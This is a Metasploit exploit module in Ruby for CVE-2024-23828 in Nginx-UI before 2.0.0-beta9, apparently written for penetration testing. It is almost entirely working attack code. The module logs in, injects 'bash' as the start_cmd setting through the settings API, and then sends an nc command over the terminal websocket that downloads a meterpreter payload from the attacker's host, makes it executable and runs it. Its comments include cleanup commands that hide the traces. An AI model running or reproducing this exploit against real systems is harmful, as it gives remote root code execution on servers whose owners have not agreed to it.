### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework### This payload is configured for:# msfvenom -p linux/x86/meterpreter/bind_tcp --format elf## This exploit is for Nginx-UI <= 2.0.0-beta9 CVE-2024-23828## We go ahead and grab our authentication token by simulating a login.# Then I hooked the json and swich start_cmd to the 'bash' execuable.# I had to hook the bash shell spawned as root on the terminal, to# be able to send any commands with spaces, redirects, pipes, anything# like that, because the start_cmd will only take a literal binary, and# thinks that anything you enter is a full bin, including spaces, etc,# thus the event machine wrapper for websockets that ends up actually# pushing the shell. I push the shell through netcat and subsequently# change permissions so we can execute it. Once shell is run, our# handler will attempt to stage the shell. I've only been able to get# this to work with _bind style shells, but more testing may prove# otherwise.## -- Marshall# oxagast@oxasploits.com## rev. 8## Exploit cleanup can be done with the following resource script, so# rename cleanup.rc and once in the meterpreter shell, just call:# resource /tmp/cleanup.rc## execute -f /bin/rm -a "/tmp/shell"# execute -f /usr/bin/sed -a "-e 's/bash/login/g' -i /path/to/app.ini"# sysinfo# getuid#require"msf/core"require"socket"require"eventmachine"require"faye/websocket"$stdout.sync=trueclassMetasploit3<Msf::Exploit::RemoteRank=GoodRankingincludeMsf::Exploit::Remote::HttpClientdefinitialize(info={})super(update_info(info,"Name"=>'Authenticated RCE via modifying "start_cmd" setting in Nginx-UI app.ini via JSON POST to API < 2.0.0-beta9',"Description"=>%q{
It's been noted that in Nginx-UI before 2.0.0-beta9 an authenticaed (unpriviledged) user
may modifiy the "start_cmd" setting in the app.ini config file remotely, via a API request.
This exploit works in two parts, because the vulnerable code only takes a single binary
with no spaces, options, redirects, pipes, etc. But we can spawn bash on a terminal, which
we are later able to hook and push full commands through. This allows us to drop a binary
in /tmp that contains our payload.
},"Author"=>["Marshall Whittaker",# oxagast],"License"=>MSF_LICENSE,"Platform"=>"linux","Arch"=>[ARCH_X86],"CmdStagerFlavor"=>["printf"],"References"=>[["URL","https://github.com/0xJacky/nginx-ui"],["URL","https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"],["CVE","CVE-2024-23828"],["CWE","74"],],"Targets"=>[["Nginx-UI < 2.0.0-beta9",{"Privileged"=>true}],],"DefaultOptions"=>{"PAYLOAD"=>"linux/x86/meterpreter/bind_tcp",# lets use a x86 meterpreter stager (others may work)},"Payload"=>{"Format"=>"elf",# we need a whole executable for this, we use elf on linux"Platform"=>"unix",},"Notes"=>{'Stability'=>[CRASH_SAFE],'Reliability'=>[REPEATABLE_SESSION],'SideEffects'=>[ARTIFACTS_ON_DISK,CONFIG_CHANGES]},"DisclosureDate"=>"2024-1-11","DefaultTarget"=>0))register_options([Opt::RPORT(9000),OptString.new("RHOST",[true,"The target machine's IP",""]),OptString.new("USER",[true,"The user to auth as",""]),OptString.new("PASS",[true,"The user's password",""]),OptString.new("LHOST",[true,"This machine's IP",""]),OptInt.new("LSERVPORT",[true,"The port to listen on for pushing the payload",6789]),],self.class)register_advanced_options([OptBool.new("HANDLER",[true,"Start an exploit/multi/handler job to receive the connection",true]),])deregister_options("VHOST","Proxies","RHOSTS","SSL")enddefvalid_json?(string)!!JSON.parse(string)rescueJSON::ParserErrorfalseenddeflisten(payl,lsp)print_status("Starting payload push socket...")serv=TCPServer.new("#{lsp}")s=serv.accepts.write("#{payl}")print_status("Payload pushed.")s.closeprint_good("Shell executing... o_o wait for it!!!")enddefget_token(user,pass)# this uses our login information to grab our auth token for later useprint_status("Attempting to pull auth token")jsond={:name=>user,:password=>pass}.to_jsonjsondat={:name=>user,:password=>pass}res=send_request_raw("uri"=>"/api/login","method"=>"POST","keep_cookies"=>true,"ctype"=>"application/json","data"=>{:name=>user,:password=>pass}.to_json,)fail_with(Failure::UnexpectedReply,"#{peer} - Could not connect to the web service")unlessresifvalid_json?(res.body)==trueloginres=JSON.parse(res.body)tok=loginres["token"]if(!tok.nil?&&tok.to_s.length>=120)# token len is ~125 charsprint_good("Authentication token received.")print_good("Token: #{tok}")returntokelsefail_with(Failure::NoAccess,"We did not get a token in the response! This usually means a bad username or password was provided.")endelsefail_with(Failure::UnexpectedReply,"The returned JSON data is malformed! Cannot receive authtentication token.")endenddefinjectcmd(token)# here we inject the bash command for the terminal to run (this part abuses the vuln)payl=%Q[{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd]payl<<%Q[":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","h]payl<<%Q[ttp_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"..]payl<<%Q[.","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}]res=send_request_raw("uri"=>"/api/settings","method"=>"POST","keep_cookies"=>true,"ctype"=>"application/json","headers"=>{"Authorization"=>token},"data"=>payl,)ifres.code==200print_good("Exploit returned good code 200!")rhst=datastore["RHOST"]rprt=datastore["RPORT"]lhst=datastore["LHOST"]lsprt=datastore["LSERVPORT"]print_status("Base64 encoding original token for terminal session...")wstok=Base64.encode64(token)wstok=wstok.tr("\n","")print_good("Token: #{wstok}")# setup and build our payloadpay=framework.modules.create(datastore["payload"])pay.datastore["LHOST"]=datastore["LHOST"]pay.datastore["LPORT"]=datastore["LPORT"]print_status("Generating payload...")payl=pay.generate_simple({"Format"=>"elf"})ifpayl==""fail_with(Failure::PayloadFailed,"Payload generation failed! Try a different payload?")endprint_good("Payload generated!")Thread.newdolisten(payl,lsprt)endThread.newdoprint_status("Receiving and changing permissions on shell...")EM.run{ws=Faye::WebSocket::Client.new("ws://#{rhst}:#{rprt}/api/pty?token=#{wstok}")ws.on:opendo|event|# this injects and executes the payload on the terms websocket instancews.send("{\"Data\":\"nc #{lhst}#{lsprt} > /tmp/shell && chmod 777 /tmp/shell && /tmp/shell &\\r\",\"Type\":1}")print_status("Waiting 6 seconds for return...")sleep6ws.closeendws.on:messagedo|event|p[:message,event.data]endws.on:closedo|event|fail_with(Failure::Unknown,"If our shell was pushed, we should never make it here!")ws=nilend}endendenddefexploit# we pull then check our variablesuser=datastore["USER"]pass=datastore["PASS"]rhst=datastore["RHOST"]rprt=datastore["RPORT"]lhst=datastore["LHOST"]lsprt=datastore["LSERVPORT"]ifuser==""fail_with(Failure::BadConfig,"You need to enter a valid username to grab the authentication token!")endifpass==""fail_with(Failure::BadConfig,"You need to enter a valid password to grab the authentication token!")endifrhst==""||rprt==""||lhst==""||lsprt==""fail_with(Failure::BadConfig,"You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.")end# login routinetoken=get_token(user,pass)# exploitation routineinjectcmd(token)endend